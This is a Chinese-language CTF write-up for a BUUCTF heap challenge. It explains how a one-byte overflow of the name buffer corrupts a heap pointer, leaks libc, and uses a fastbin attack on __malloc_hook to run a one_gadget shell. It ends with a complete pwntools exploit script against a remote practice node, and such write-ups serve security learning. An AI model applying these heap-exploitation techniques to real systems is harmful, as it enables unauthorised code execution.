一道不难但是挺好玩的题,随手记下了。
菜鸡刚刚学pwn几个月,堆是寒假才开始学的,如果哪里说的不对,还请大佬们指正。
checksec一下,防护全开(懒就不放图了),盲猜是道要改malloc_hook的题。
扔进ida看,开始先有一个欢迎语句,并且让我们输入name。程序有五个功能,分别是Add,Delete,Show,Update还有Edit。
在Add中我们申请的堆块大小可以由我们控制,但是这道题只同时保存了一个堆块的指针。
同时在Delete功能里也看到堆块被释放后对应指针被置零,而Show和Edit里也没有什么明显的漏洞。
这题的洞在Update里面,在更新name时读入了0x31个字符,比name的大小多了一个字节。而name后面紧邻的,正是我们保存堆块地址的指针!
也就是说我们可以通过溢出name来篡改指针的最低位字节,间接实现UAF,再利用fastbin attack篡改__malloc_hook和__realloc_hook让程序执行onegadget,即可拿到shell。
想打onegadget得先泄露libc基址,那么就要找一个unsorted bin里的堆块,泄露它的fd。
(我这里不知道我当时为啥自找麻烦选择申请个0x80大小的堆块然后又把它篡改成了0x90的大小,大概是我思路不够清晰的缘故吧......其实应该可以一开始就申请0x90的堆块。不过由于这一题我们只能控制指针最后一个字节,我这种做法也许无意中节省了一些空间,尽可能减少了进位带来的困扰?)
r.recvuntil('Please input your name')
r.sendline(0x30*'a')
Add(0x10)
Add(0x70)
Add(0x19)
Edit(p64(0)+p64(0x21))
Update(0x30*'a'+'\x10')
Edit(0x18*'a'+'\x91')
Update(0x30*'a'+'\x30')
Del()
Add(0x10)
Update(0x30*'a'+'\x50')
Show()
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x3C4B20
我们在释放掉0x90大小的堆块后,指向堆块的指针ptr被置零,需要重新Add一个堆块让ptr指向一个邻近的堆块。这里我们Add(0x10)之后,unsorted bin中0x90大小的堆块被切割,留下的0x70大小的堆块被放进了unsorted bin中,既可以用于泄露libc基址,又能拿来修改malloc_hook,赢麻了!
第一次Del:
再Add(0x10)后:
然后很容易把libc基址泄露出来。
接下来要实施fastbin attack,这块0x70大小的堆块正好可以为我们所用,但是他现在处在unsorted bin中,我们需要将它申请出来再释放到fastbin中,这样才能实行fastbin attack。
后面的就是常规化的操作了,不再赘述。
exp:
from pwn import *
r=remote('node4.buuoj.cn',28820)
#r=process('/home/wjc/Desktop/nsctf_online_2019_pwn2')
e=ELF('/home/wjc/Desktop/nsctf_online_2019_pwn2')
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')
def cmd(idx):
r.recvuntil("6.exit")
r.sendline(str(idx))
def Add(size):
cmd(1)
r.recvuntil('Input the size')
r.sendline(str(size))
def Del():
cmd(2)
def Show():
cmd(3)
def Update(name):
cmd(4)
r.recvuntil('Please input your name')
r.sendline(name)
def Edit(content):
cmd(5)
r.recvuntil('Input the note')
r.sendline(content)
def exp():
r.recvuntil('Please input your name')
r.sendline(0x30*'a')
Add(0x10)
Add(0x70)
Add(0x19)
Edit(p64(0)+p64(0x21))
Update(0x30*'a'+'\x10')
Edit(0x18*'a'+'\x91')
Update(0x30*'a'+'\x30')
Del()
Add(0x10)
Update(0x30*'a'+'\x50')
Show()
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x3C4B20
onegadget=libcbase+0x4526a
malloc_hook=libcbase+libc.symbols['__malloc_hook']
realloc_gadget=libcbase+0x846d0
print('libcbase:',hex(libcbase))
print('__malloc_hook:',hex(malloc_hook))
print("fake_chuck:",hex(malloc_hook-35))
Add(0x60)
Del()
Add(0x10)
Update(0x30*'a'+'\x50')
Edit(p64(malloc_hook-35))
Add(0x60)
Add(0x60)
Edit((0x13-8)*'a'+p64(onegadget)+p64(realloc_gadget))
Add(0x10)
exp()
r.interactive()